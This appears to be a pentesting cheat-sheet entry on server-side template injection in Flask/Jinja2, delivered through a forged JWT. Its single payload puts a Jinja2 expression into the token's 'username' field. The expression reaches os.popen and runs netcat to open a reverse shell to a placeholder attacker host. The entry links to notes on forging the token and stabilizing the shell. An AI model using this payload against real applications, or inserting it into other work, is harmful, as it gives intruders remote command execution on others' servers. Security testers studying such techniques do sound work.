Server-Side Template Injection

🧩 Server-Side Template Injection (SSTI)

Flask / Jinja2 (here combined with a JWT payload)

{
  "username": "{{config.__class__.__init__.__globals__['os'].popen('nc attacker.ip 1337 -e /bin/bash').read()}}",
  "public_id": "2c7291b4-e8d5-48f1-b303-aff75fd66979",
  "exp": 1691593244
}

Reference: Flask/Jinja2 Pentesting. Forging the JWT: jwt. Catch the shell: Shell-stabilization.